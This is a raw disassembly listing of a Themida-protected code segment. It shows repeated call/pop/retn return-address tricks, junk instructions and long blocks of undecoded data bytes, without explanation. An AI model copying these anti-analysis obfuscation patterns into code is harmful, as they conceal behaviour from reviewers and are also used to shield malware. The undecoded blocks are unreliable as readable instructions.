ebp push ebp retn sub_57BD0B endp ; --------------------------------------------------------------------------- db 0FEh ; --------------------------------------------------------------------------- pop ss stc inc edi clc inc ebx mov eax, 0BE98C174h mov bh, 56h scasd dec ebp sub eax, ebx push 0 push eax call sub_57BD37 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BD37 proc near ; CODE XREF: Themida_:0057BD2Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_57BD37 endp ; --------------------------------------------------------------------------- cmpsb dec ecx les eax, [ecx+66h] mov edi, ecx mov [ebp+60B17D9h], esi cmp eax, 834h jbe loc_57BDA7 push 0 push esi call sub_57BD6A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BD6A proc near ; CODE XREF: Themida_:0057BD62p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_57BD6A endp ; --------------------------------------------------------------------------- dw 0B9A1h ; --------------------------------------------------------------------------- mov si, 0DD78h jmp loc_57BDB5 ; --------------------------------------------------------------------------- push 0 push edx call sub_57BD90 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BD90 proc near ; CODE XREF: Themida_:0057BD88p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_57BD90 endp ; --------------------------------------------------------------------------- dd 89993459h db 0FEh, 67h, 78h ; --------------------------------------------------------------------------- loc_57BDA7: ; CODE XREF: Themida_:0057BCE7j ; Themida_:0057BD59j mov eax, eax jnb loc_57BDB5 mov esi, [ebp+60B2E61h] loc_57BDB5: ; CODE XREF: Themida_:loc_57B9AFj ; Themida_:0057BD80j ... mov eax, ebx mov ebx, eax push 0 push esi call sub_57BDC4 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BDC4 proc near ; CODE XREF: Themida_:0057BDBCp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_57BDC4 endp ; --------------------------------------------------------------------------- or ecx, edi mov dword ptr [ebp+60B00A1h], 3F5E9953h push 0 push ebx call sub_57BDEB and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BDEB proc near ; CODE XREF: Themida_:0057BDE3p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_57BDEB endp ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- adc ch, dl mov [ebp+60B0571h], eax mov eax, eax mov [ebp+60B0D51h], edx cmp dword ptr [ebp+60B3385h], 7D0h jnz loc_57BE2F mov edi, [ebp+60B212Dh] mov esi, 56E1FCD3h inc dword ptr [ebp+60B3385h] cld cmc loc_57BE2F: ; CODE XREF: Themida_:0057BE16j push dword ptr [ebp+60B3385h] push esi jmp loc_57BE47 ; --------------------------------------------------------------------------- db 22h dd 54680A82h, 5E153C82h db 0D9h, 64h, 6Bh ; --------------------------------------------------------------------------- loc_57BE47: ; CODE XREF: Themida_:0057BE36j pop esi or [ebp+60B08ADh], ebx call dword ptr [ebp+60B32DDh] pusha movsx edi, cx xor [ebp+60B0AD1h], edx popa nop push 0 push ebp call sub_57BE6B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BE6B proc near ; CODE XREF: Themida_:0057BE63p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_57BE6B endp ; --------------------------------------------------------------------------- pop esi sub al, 0BBh mov [ebp+60B0425h], ecx mov [ebp+60B152Dh], esi push 0 push ebx call sub_57BE95 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BE95 proc near ; CODE XREF: Themida_:0057BE8Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_57BE95 endp ; --------------------------------------------------------------------------- db 0DCh, 9Eh, 79h dd 0ED7AF27Fh, 6A1197FFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 1424C355h, 7D8D01B7h dd 89060B07h, 0B31B5BDh, 0F6BF0F06h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0D7C35141h, 7A51BE60h, 858B5BAFh dd 60B2349h, 12958D89h, 0F561060Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0CC35545h, 598D89ABh, 29060B2Eh dd 0B2A75B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0DA8BED8Eh, 0B1BD8BD7h, 51060B08h dd 2AB5B58Bh, 0FE9060Bh, 93000000h, 0EB04BEEDh, 6A1759F5h dd 0E2B756B6h, 0E95ED7A8h, 0FFFFF864h, 2414EF81h, 0C18B2C6Fh dd 0F3DB589h, 4EB060Bh, 0 ; --------------------------------------------------------------------------- mov edi, edx push 0 push ebp call sub_57BF9D and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57BF9D proc near ; CODE XREF: Themida_:0057BF95p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_57BF9D endp ; --------------------------------------------------------------------------- db 65h, 0B5h, 4Bh dd 0EBFBF09Ah, 8E91F72h, 0DB000000h, 7F642D43h, 8D0EAAF7h dd 0B28A985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 5AEC6B8h, 2EFDBD31h, 0E950060Bh dd 12h, 118D7B58h, 0F3511AFBh, 0C48EEB87h, 4D6548Ch, 48995C3h dd 1D958924h, 8B060B18h, 6A006AF8h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0B1BC356h dd 0EE8h, 0AA698800h, 9F508C00h, 0CCE34AF7h, 5E97554Ch dd 0B9F3D9BFh, 8D006A15h, 0F00D685h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0B5E88862h dd 2BD531D0h, 1CBF6649h, 5C0832Eh, 85F3BF66h, 24048950h dd 0B870Fh, 0BE600000h, 613EA69Bh, 0D0DABA66h, 0F006A61h dd 688h, 71F78100h, 6A464DCAh, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 8BD7BA37h dd 8B60FFE4h, 0B01959Dh, 5D952B06h, 61060B27h, 2F2195FFh dd 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0EF2E51C3h, 8180CA04h, 0C56CCBC7h, 0D5BD8B44h dd 8D060B0Bh, 0EA7B09Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0B52B1AAEh, 60B0B25h dd 0D3FFFA8Bh, 8FC0BE66h, 0DE9h, 86951D00h, 5E3B1B99h dd 0D10B49E7h, 85FF865Ch, 60B066Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0A2C35141h, 0A9F9D11Eh, 0F3A3E6C2h dd 20B9BD8Bh, 0E6E9060Bh, 0E8000008h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 60F00E0h push 0 push eax call sub_57C196 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57C196 proc near ; CODE XREF: Themida_:0057C18Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_57C196 endp ; --------------------------------------------------------------------------- dw 524Bh dd 13A7176Ch, 293DB58Bh, 0BD81060Bh, 60B3385h, 7D0h, 185860Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 8B104BC3h, 0B0719B5h, 6D9D8B06h, 6A060B2Ah dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 41B8C355h, 80E852Bh, 0F874395h, 8Eh, 37D4BE00h dd 0E3815316h, 100h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 1CC35040h, 850FDB0Bh, 94h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 67C35747h, 7FF68145h dd 0BE4BC1EAh, 4E0B731Ah, 0FEE8BD83h, 0F00060Eh, 2A84h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 3AF8680Eh, 830Fh, 67E90000h, 0C7000000h dd 0EFEE885h, 106h, 0EE800h, 0EC7B0000h, 375C3058h, 0A186EDCBh dd 13ED4646h, 68E0Fh, 0B5890000h, 60B08C9h, 38E95Fh, 0BD0B0000h dd 60B0DC9h, 0FEE885C7h, 60Eh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 1B3EDBC3h dd 0F78BA846h, 645B50Bh, 9D8D060Bh, 60B2A6Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EBC35242h, 0E4A752DCh dd 0BB256D5Bh, 55B589A1h, 81060B03h, 0FFFEFF23h, 61BD89FFh dd 66060B16h, 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 14E981C3h, 96000000h, 59865575h dd 0C3E4CF82h, 7D7CB9B5h, 46B5AEF6h, 8BE73112h, 0B069DB5h dd 4C3F606h, 37840Fh, 85010000h, 60B0051h, 18ED95FFh, 8166060Bh dd 0BFF022DFh, 5C0F2AD0h, 9474BF50h, 48940D7h, 81B58B24h dd 0E9060B2Eh, 0Dh, 6B2246C5h, 0DFD34495h, 4DA9BA09h, 4B4E9AFh dd 8B0F0000h, 1Ch, 11E8h, 816B1E00h, 0C1D2703Dh, 0A7A7EB4Eh dd 6BC24C23h, 8166D9F5h, 5EF9D5EEh, 953100B0h, 60B080Dh dd 71E470E6h, 7E9h, 1E42FF00h, 0A3DB8371h, 89D8B60Fh, 0B087D9Dh dd 6BA06h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 66D143C3h, 351CDF81h, 870FC38Bh dd 6, 12CD8D89h, 0E8C1060Bh, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0CC391406h dd 0D485A922h, 7DBD333Bh, 60060B28h, 12E9h, 2299CF00h dd 0FF3692F4h, 0EE603FA6h, 61BD4696h, 0FAD506Ah, 68Bh dd 699D8900h, 61060B10h, 6AE2F766h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 9D38C352h dd 0F8B70FC6h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 6554B1C3h, 32A19D89h, 5093060Bh dd 0BACE8B60h, 34EA81EFh, 6A9361h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0BD8B5FC3h, 60B1161h dd 0DE99D29h, 0B5FF060Bh, 60B3385h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 95C35141h, 0EA052693h, 32DD95FFh dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0EDA838C3h, 0E8687135h, 0Dh, 0D2619536h dd 0D1A3CC68h, 7D604404h, 0F6D681F2h, 5E321C75h, 11E8h dd 0CCD29D00h, 0E70619ADh, 7B690B21h, 0EDE2DA4Ch, 0ACBF5237h dd 5E059B3Ch, 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0DE17EDC3h, 6CDD3F79h, 95EF8166h dd 0FC70E66Fh, 6A71E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0EEF49EC3h, 99239E2h, 0F613C97h dd 29183h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0DDBD33C3h, 29060B06h, 0B0FFD9Dh dd 0D8B60F06h, 0B19D8960h, 0B8060B28h, 0DDEDDFAh, 0BF0F5661h dd 6BA5EF2h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 70AEC352h, 86F894FDh dd 63FDCC6h, 0CE8h, 0A4605500h, 0E8C68A9Bh, 411F2133h dd 0BD895F40h, 60B1FC9h, 9589C38Bh, 60B0699h, 6604E8C1h dd 0A650F781h, 6AE2F766h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 41C6C357h, 0D82BE929h dd 311DB58Bh, 6A58060Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 58F4C357h, 67DABB28h dd 95B52354h, 2B060B02h, 0A7880FD8h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0DF43C356h, 0EE8E7539h, 0A6460114h, 21BD8960h, 61060B10h dd 7B9F8h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 663FC6C3h, 662579BFh, 0C183FA8Bh dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 6B2DA878h, 0FEFAFEEh, 380h, 0F3BF0F00h dd 860FD93Bh, 11Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0BAC35343h, 295E258Eh, 8C665F57h, 53006AD9h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 983655A5h, 0C1F68165h, 0C9840F04h, 0E8000000h, 8, 24BE0DC1h dd 0F2C2FDBEh, 1785B529h, 0FF5F060Bh, 0B18ED95h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 998E266Ah, 5C92AA93h, 0F5BE199h, 488h, 0BBE6600h, 81C32B22h dd 91AF19DEh, 8343D67h, 860F0000h, 6Ch, 0EE9h, 0BE0C1800h dd 0C3958815h, 64D7BDF4h, 0E9C4F2D9h, 56h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0CBC35343h, 12E8D1h dd 0E8090000h, 0CABEBB3Ch, 4CF2282h, 0B9E70E2Ah, 0D8D82BDEh dd 11E860h, 2B460000h, 0D50C45A0h, 4D9E8818h, 8C22C15Eh dd 5AA6B6FAh, 0B58B5F61h, 60B2051h, 0C38BC08Bh, 5F51D88Bh dd 13E985C7h, 7799060Bh, 8BFC3BB8h, 85BD81C0h, 0D0060B33h dd 0F000007h, 8285h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 850FC79Dh, 4, 22C7BE66h dd 338585FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 4F1B4DC3h, 0D8D3F29h, 89821A32h dd 0B0211B5h, 0BE806h, 949D0000h, 22F9C858h, 0D5587794h dd 0DE83Ch, 36490000h, 0CA58B624h, 727EF89Ch, 89E38BB4h dd 0B29EDB5h, 0FF5E5F06h, 0B3385B5h, 0FFF88B06h, 0B32DD95h dd 24BE6606h, 8166907Dh, 6A0CEDC6h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 5D7CC353h dd 5720EFCAh, 816632A3h, 8BB3DDCFh, 49BD8BFBh, 66060B0Eh dd 5D27EE81h, 9176E681h, 6A240Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 51C91AC3h, 0ED852940h dd 0E9060B28h, 0Fh, 0F449F6DEh, 59D238F3h dd 6F2262F6h, 6A1D979Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0FECC351h, 3A7ECD8h dd 0B169DB5h, 0F7F68106h, 6A6359BCh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 516BC350h dd 2D8D01F2h, 66060B21h, 0CB9F681h, 0E1DE8166h, 7ECF8144h dd 6A367CC5h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0FF49C357h, 2EBD9D31h, 8166060Bh dd 0E92F6BC7h, 0FFFFF743h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 4BC35242h, 800F5Eh, 31000000h, 0B027595h dd 81C18B06h, 139CE9CEh, 4EB78h, 89000000h, 0B333D8Dh dd 1600BF06h, 6A5744h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0F7E443C3h, 28A9858Dh, 0B58B060Bh dd 60B13BDh, 8D0F5350h, 5, 0E544F8BFh, 4895F45h, 68D0F24h dd 89000000h, 0B318595h, 56006A06h, 6A006A5Eh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 2E1EC352h, 0DF81451Eh, 504B4CFEh, 0B10858Dh, 8D01060Fh dd 60B2101h, 6A05C083h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 75C0C350h, 60907BDFh dd 9E952h, 5E400000h, 0F1E4351Eh, 59EA385Bh, 9F9AB952h dd 61596B56h, 60525050h, 6160F38Bh, 0E9310F61h, 0Fh, 323F68DBh dd 55524A64h, 0ADF0FC3Dh, 5A8E03B5h, 6A9058h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 6B2F41C3h dd 0F78B006Ah, 0B589006Ah, 60B17F5h, 6B5BD8Bh, 95FF060Bh dd 60B2F21h, 9D8DF28Bh, 60EA7B0h, 58B0Fh, 81660000h, 0FFCEF1D7h dd 0DD9D89D3h, 0FF060B14h, 0B066D85h, 0F2BF0F06h, 71FE9h dd 0E800h, 815D0000h, 0F0B1AEDh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0BD8B0B15h dd 60B0F41h, 3385BD81h, 7D0060Bh, 860F0000h, 0FAh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 6C35141h, 1806B040h dd 0B5DB52Bh, 9D8B060Bh, 60B2A9Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0F4C35646h, 0E38143ECh, 100h dd 0BF18B66h, 58850FDBh, 66000000h, 35B7D681h, 9CBBD83h dd 0F00060Fh, 784h, 4FE9F900h, 0F5000000h, 9CB85C7h, 1060Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 80D3D7C3h, 8960DFAEh, 0B086D85h, 8EBF6606h dd 13E961E6h, 66000000h, 0C78257BEh, 0F09CB85h, 6, 0EE816600h dd 9D8D49F5h, 60B2A9Dh, 6800Fh, 0E7810000h, 66169241h dd 0FEFF2381h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0A418B1C3h, 8C66F113h, 56006ADBh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0CDB509A8h, 0F6060B13h, 840F04C3h, 40h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0CAC35141h, 2A7F61D8h dd 95FF9E77h, 60B18EDh, 1A85B58Bh, 0EABE060Bh, 506AA55Fh dd 89F18B66h, 0E6812404h, 2E02884Eh, 362E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 87DD507Ah, 8F293FA5h, 77E68166h, 0BF00B055h, 8E8C9FFh dd 30E5B58Bh, 70E6060Bh, 0E4F6B70Fh, 7D9D3171h, 0F060B00h dd 870FD8B6h, 0 ; --------------------------------------------------------------------------- mov edx, 6 mov edi, [ebp+60B0CDDh] mov eax, ebx shr eax, 4 xor si, 7820h mul dx push 0 push edi call sub_57CDD3 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CDD3 proc near ; CODE XREF: Themida_:0057CDCBp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_57CDD3 endp ; --------------------------------------------------------------------------- dec esi stosb movsx ebx, word ptr [edx+0Eh] daa sbb [ebx], ebp fsubr dword ptr [edx+0] push ebp call sub_57CDF8 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57CDF8 proc near ; CODE XREF: Themida_:0057CDF0p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_57CDF8 endp ; --------------------------------------------------------------------------- dd 8B662238h, 525050FAh, 312F52BEh, 60310F02h, 6160DF8Bh dd 89585A61h, 0BD89241Ch, 60B1141h, 3385B5FFh, 8C0F060Bh dd 6, 58D8589h, 95FF060Bh, 60B32DDh, 1EB9B529h, 0B0060Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 9DC35343h dd 0E6266B25h, 0E4F08B70h, 52006A71h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0F613CABh dd 23683h, 0F5F5300h, 8166D8B6h, 0BA48F8F6h, 6, 39F78166h dd 6AC38BD2h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0E03FC353h, 99BD8BB1h, 89060B00h dd 0B3229BDh, 4E8C106h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0E2C35343h, 0F9E2F766h, 0B70FD82Bh, 6A58FEh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0B67220C3h, 0C95D75AEh, 0D82B54F2h, 1A1880Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 840F40C3h, 5, 0E52A33BEh, 7B93Ah, 0BD290000h, 60B1A4Dh dd 0F00C183h, 0C83h, 68A0F00h, 1000000h, 0B23418Dh, 0FD93B06h dd 15286h, 0D98C6600h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0AEC35545h, 0A1BD0930h, 0F6060B1Ah, 840F04C1h dd 0F4h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 7CC35040h, 78B92931h, 0ED95FF03h, 6A060B18h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0E034C353h, 0F70CFF1Ch, 0F1B70FB1h, 0B9BD895Bh, 2B060B05h dd 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 40094577h, 7E9h, 60199F00h, 621142F8h, 5D8D0957h dd 5F060B18h, 8343DFCh, 860F0000h, 60h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Dh, 0DDC35040h, 0E6E444C8h dd 9C02C26Dh, 9E9B0h, 64070000h, 8B3E4BC9h, 8BE5161Dh dd 0B1325B5h, 51E906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 953111C3h, 60B0C71h dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 973563C3h, 8BFF9107h, 0B244DBDh, 0ADB50906h dd 8B060B2Ah, 8BD88BC3h, 0B0E59BDh, 6D85C706h, 0DF060B2Ah dd 0BF5FCEABh, 1D3BC0B2h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 8E86F0C3h, 3880F39h dd 66000000h, 0BD81F28Bh, 60B3385h, 7D0h, 44850Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 85FF0BC3h, 60B3385h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 7EC35343h, 6939EB18h, 0B5FFB969h, 60B3385h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 7EC35040h dd 830F4434h, 6, 0C91BD8Bh, 95FF060Bh, 60B32DDh, 60F3B70Fh dd 0F49EC381h, 5E96271h, 0A6000000h, 5BC517AAh, 0BE669061h dd 0B5896906h, 60B1315h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 6FC35141h, 15EBE437h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Dh, 6AC35646h, 3E455A96h dd 0AFDE55DDh, 56006A9Fh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 0B58BCF7Dh, 60B1131h dd 14E9h, 82511B00h, 5696D17h, 4F0898A3h, 196F503Ch, 52B355D0h dd 0E880F44h, 51000000h, 20F1BD8Bh, 8A0F060Bh, 0 ; --------------------------------------------------------------------------- pop edi mov si, dx push 0 push ebx call sub_57D257 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57D257 proc near ; CODE XREF: Themida_:0057D24Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_57D257 endp ; --------------------------------------------------------------------------- pusha xchg eax, esi push 0 push eax call sub_57D274 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57D274 proc near ; CODE XREF: Themida_:0057D26Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_57D274 endp ; --------------------------------------------------------------------------- jnz short loc_57D2D2 call near ptr loc_57D28D+8 add al, 18h loc_57D28D: ; CODE XREF: Themida_:0057D286p sub dword ptr [edi+edx*2+6A39CA8Fh], 0D58D0958h pop ss or eax, [esi] movzx edi, si pop edi push 0 push ecx call sub_57D2AA and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57D2AA proc near ; CODE XREF: Themida_:0057D2A2p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_57D2AA endp ; --------------------------------------------------------------------------- dw 0C548h dd 44331D16h, 645BFDE1h, 0E9F8BF0Fh, 0FFFFF8EDh, 1935BD8Bh ; --------------------------------------------------------------------------- or eax, [esi] loc_57D2D2: ; CODE XREF: Themida_:0057D284j mov [ebp+60B2DFDh], ecx pusha push 0 push edx call sub_57D2E4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57D2E4 proc near ; CODE XREF: Themida_:0057D2DCp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_57D2E4 endp ; --------------------------------------------------------------------------- dd 37595516h, 0E63A629Eh, 0FFFFFEB9h, 57006AFFh, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0B031C5B5h, 24218D21h, 0E960060Bh, 0Dh, 4D1A3CCh, 0F27D6044h dd 48722AE0h, 0D7E980E0h, 9D8D2161h, 6A060B1Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 3612C356h, 8166E97Fh, 8B6077DEh, 0B24218Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 1F510EECh, 0E1833BB1h, 22850F01h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 892EC355h, 0B1B3D9Dh, 9D8D8B06h, 6A060B1Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0C072C350h, 8D89603Eh, 60B07FDh, 1F899589h, 6061060Bh dd 68E0Fh, 8F0F0000h, 0 ; --------------------------------------------------------------------------- popa and ecx, 1 jnz loc_57D414 pusha mov cx, 2457h add esi, [ebp+60B1AB1h] popa mov [ebp+60B2235h], ebx loc_57D414: ; CODE XREF: Themida_:0057D3FCj popa pusha movsx eax, cx mov ecx, 0FFFFFFFEh mov esi, [ebp+60B07A9h] and [ebp+60B2985h], ecx jnb loc_57D43E pusha mov [ebp+60B18A1h], ecx sbb ebx, 299DDFC3h popa loc_57D43E: ; CODE XREF: Themida_:0057D42Aj and [ebp+60B00A1h], ecx sub [ebp+60B18FDh], ebx mov ecx, [ebp+60B2985h] push 0 push esi call sub_57D45B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57D45B proc near ; CODE XREF: Themida_:0057D453p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_57D45B endp ; --------------------------------------------------------------------------- db 6Fh ; --------------------------------------------------------------------------- loc_57D46C: ; CODE XREF: Themida_:loc_57D46Cj jns short loc_57D46C jmp loc_57D487 ; --------------------------------------------------------------------------- db 0Fh dd 8B2BDFE5h, 2244DEE8h, 4FBA7F71h, 0F388535Eh ; --------------------------------------------------------------------------- mov ebp, ss cwde loc_57D487: ; CODE XREF: Themida_:0057D46Ej and ecx, 1 jnz loc_57D496 mov eax, [ebp+60B02B9h] loc_57D496: ; CODE XREF: Themida_:0057D48Aj mov ecx, [ebp+60B00A1h] mov esi, 399760A9h and ecx, 1 jnz loc_57D4D5 push 0 push edi call sub_57D4B5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57D4B5 proc near ; CODE XREF: Themida_:0057D4ADp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_57D4B5 endp ; --------------------------------------------------------------------------- db 13h, 62h, 1Dh ; --------------------------------------------------------------------------- 